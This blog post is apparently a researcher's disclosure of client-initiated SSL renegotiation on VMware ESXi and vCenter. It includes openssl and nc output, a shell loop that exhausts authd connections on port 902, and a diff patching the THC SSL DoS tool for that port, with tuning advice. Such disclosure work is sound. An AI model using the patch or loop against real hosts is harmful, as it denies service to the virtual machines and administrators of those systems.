THC SSL Renegotiation DoS Tool for ESXi authd (port 902)

I had written about the Client-initiated SSL renegotiation DoS tool by THC and how to exploit SMTP STARTTLS mail servers with some modifications some time ago. At the time I’ve also noticed that to my surprise, Client-initiated SSL renegotiation is enabled by default on various vSphere/ESXi components and can be exploited with the THC Tool.

# openssl s_client -connect myesxi.local:443 -state -quiet -no_ign_eof <<< 'R' 
SSL_connect:before/connect initialization
SSL_connect:SSLv2/v3 write client hello A
SSL_connect:SSLv3 read server hello A
verify error:num=19:self signed certificate in certificate chain
verify return:0
SSL_connect:SSLv3 read server certificate A
SSL_connect:SSLv3 read server done A
SSL_connect:SSLv3 write client key exchange A
SSL_connect:SSLv3 write change cipher spec A
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
SSL_connect:SSLv3 read finished A
RENEGOTIATING
SSL_connect:SSL renegotiate ciphers
SSL_connect:SSLv3 write client hello A
SSL_connect:SSLv3 read server hello A
verify error:num=19:self signed certificate in certificate chain
verify return:0
SSL_connect:SSLv3 read server certificate A
SSL_connect:SSLv3 read server done A
SSL_connect:SSLv3 write client key exchange A
SSL_connect:SSLv3 write change cipher spec A
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
SSL_connect:SSLv3 read finished A
DONE

The CIM-SSL port 5989 for hardware status monitoring is is also renegotiating. This affects all currently known versions of ESXi, including the most latest 6.0 U2 and 5.5 U3releases. vCenter on at least ports 443, 7444, 9443 is also affected.

ESXi also runs an important service on port 902 where the client-initiated renegotiation can be exploited most efficiently, commonly called the authd service. For example, this port is used for VM console connections. These connections are also SSL/TLS encrypted, but with a slight unusual touch:
ESXi responds with an initial plaintext banner message after the TCP connection has been established (similar to FTP or SMTP) and only then  the SSL/TLS handshake can take place:

# telnet myesxi.local 902
Trying 10.1.5.55...
Connected to myesxi.local
Escape character is '^]'.
220 VMware Authentication Daemon Version 1.10: SSL Required, ServerDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , VMXARGS supported, NFCSSL supported/t

Now this is a problem because a standard SSL/TLS client expects the first payload in the connection to be its own HELLO handshake message, and not some plaintext garbage sent by the server. Naturally, this leads to broken connections:

# openssl s_client -connect myesxi.local:902 -state
CONNECTED(00000003)
SSL_connect:before/connect initialization
SSL_connect:SSLv2/v3 write client hello A
SSL_connect:error in SSLv2/v3 read server hello A
3076646536:error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol:s23_clnt.c:794:
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 7 bytes and written 361 bytes
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
---

The THC DoS tool won’t work with that either. Basically, we first need to read the banner message and throw it down the bit bucket, and then initiate the actual SSL handshake. Since I had written an SMTP STARTTLS modification for the THC SSL renegotiation DoS tool already, I wrote a small patch to cope with this as well.
I found that on port 902 ESXi was more susceptible to reach higher CPU utilization than on port 443 which doesn’t require modification.

I had informed the VMware Security Response Team about it and supplied the patched code, after some months of no activity from their side whatsoever, they reported they could confirm a partial DoS and were “working on it”. More time passed, and after a whole year and several requests for status updates I never heard back from them again.
I don’t know what keeps them from disabling Client-initiated SSL renegotiation since it has virtually no valid use cases and surely isn’t even relevant for vSphere, and is disabled by default on pretty much all SSL/TLS implementations.

Running the DoS Tool

So what happens when you actually run it against an ESXi host? In my test case I use a Proliant DL 360 gen8 ESXi host with 16 physical cores/32 threads with HT. The host has some VM but is mostly idling at 3-6% CPU usage.
Note: I ran this from a VM with just a single vCPU which was getting maxed, so you will get better results if you run it from a slightly faster system.

Against port 443 you will see that the rhttpproxy service CPU usage spikes, using up 12 threads at once! (100% in esxtop equals the capacity of one physical thread)
thc_443

Now I’m running it with my patched code against port 902, and you’ll notice multiple authd processes spawning, one for every TCP socket, each using up CPU resources as the SSL connection is being re-negotiated:
thc_902

Of course we can also combine both ways and run the two in parallel for more efficiency and causing more load on the host:
thc_combined

Remember, this was all done from a slow system with just a single vCPU that was getting maxed. With this however we can burn a large part of the physical CPU resources of a modern 16 cores/32 threads host.

It continues to be interesting when I noticed that the authd seems to have a hard limit of the maximum number of TCP connections (even completely idle) ones.
Once this limit is hit, new authd connections will fail. This means for example you can’t open new VM consoles anymore, and the authd daemons spews an internal library error to the TCP socket… yikes!

$ nc -v myesxihost.local 902
myesxihost.local [10.1.5.55] 902 (?) open
authd: error while loading shared libraries: libvmkctl.so: failed to map segment from shared object: Error 28

thc_console

Technically this also means you can never have more than ~30 active VM console connections per host. Maybe a parameter to add to the vSphere maximum config guidelines?

The limit seems to be around 30 in my case can be triggered with a script as simple as this, just opening idle TCP connections:

while [  $COUNTER -lt 30 ]; do
  nc -v myesxihost.local 902 &
  let COUNTER=COUNTER+1
done

The code

Here’s the patched code you need to apply to the original thc SSL DoS sources in order to use the port 902 authd banner option.
This code is strictly intended for educational purposes only.

Note: You should run the tool with a limited number of concurrent connections using the -l option. I found 25-30 to be the sweet spot where connections on port 902 didn’t break, but your mileage may vary.

--- thc-ssl-dos.c.orig	2014-12-05 15:18:23.000000000 +0100
+++ thc-ssl-dos.c	2014-12-05 15:13:29.000000000 +0100
@@ -26,6 +26,7 @@
 	uint32_t flags;
 	uint16_t n_peers;
 	uint16_t n_max_peers;
+	uint16_t do_readbanner;
 	uint32_t ip;
 	uint16_t port;
 	fd_set rfds;
@@ -120,6 +121,7 @@
 init_default(void)
 {
 	g_opt.n_max_peers = DEFAULT_PEERS;
+	g_opt.do_readbanner = 0;
 	g_opt.port = htons(443);
 	g_opt.ip = -1; //inet_addr("127.0.0.1");
 	FD_ZERO(&g_opt.rfds);
@@ -159,6 +161,7 @@
 "./" PROGRAM_NAME " [options] <ip> <port>\n"
 "  -h      help\n"
 "  -l <n>  Limit parallel connections [default: %d]\n"
+"  -r      read a banner message from the raw TCP socket before the initial TLS handshake (ESXi port 902 mode)\n"
 "", DEFAULT_PEERS);
 	exit(0);
 }
@@ -169,7 +172,7 @@
 	int c;
 	int i;
 	static int accept_flag = 0;
-	static int skipdelay_flag = 0;
+	static int skipdelay_flag = 1;
 
 	static struct option long_options[] =
 	{
@@ -180,7 +183,7 @@
 	int option_index = 0;
 	
 
-	while ((c = getopt_long(argc, argv, "hl:", long_options, &option_index)) != -1)
+	while ((c = getopt_long(argc, argv, "hl:r", long_options, &option_index)) != -1)
 	{
 		switch (c)
 		{
@@ -189,6 +192,9 @@
 		case 'l':
 			g_opt.n_max_peers = atoi(optarg);
 			break;
+		case 'r':
+			g_opt.do_readbanner = 1;
+			break;
 		case 'h':
 		default:
 			usage();
@@ -487,6 +493,25 @@
 
 }
 
+static void
+readbanner(struct _peer *p)
+{
+	//Toggle the blocking/nonblocking flag of the socket to set it to blocking since we need to read/write the socket
+	int opts;
+	opts = fcntl(p->sox, F_GETFL);
+	opts ^= O_NONBLOCK;
+	fcntl(p->sox, F_SETFL, opts);
+
+	//Read a banner message sent by the remote host
+	char buffer[256];
+	bzero(buffer, 256);
+	recv(p->sox, buffer, 255, 0);
+  
+	//Toggle the blocking/nonblocking flag of the socket again to set it to nonblocking
+	opts ^= O_NONBLOCK;
+	fcntl(p->sox, F_SETFL,opts);
+}
+
 /*
  * Called if in state STATE_TCP_CONNECTING
  */
@@ -502,6 +527,12 @@
 	len = 4;
 	getsockopt(p->sox, SOL_SOCKET, SO_ERROR, &errno, &len);
 
+	//Read the banner from the established socket
+	if(g_opt.do_readbanner == 1)
+	{
+		readbanner(p);
+	}
+
 	//DEBUGF("ret %d errno %d %s\n", ret, errno, strerror(errno));
 	ret = tcp_connect_try_finish(p, errno);
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s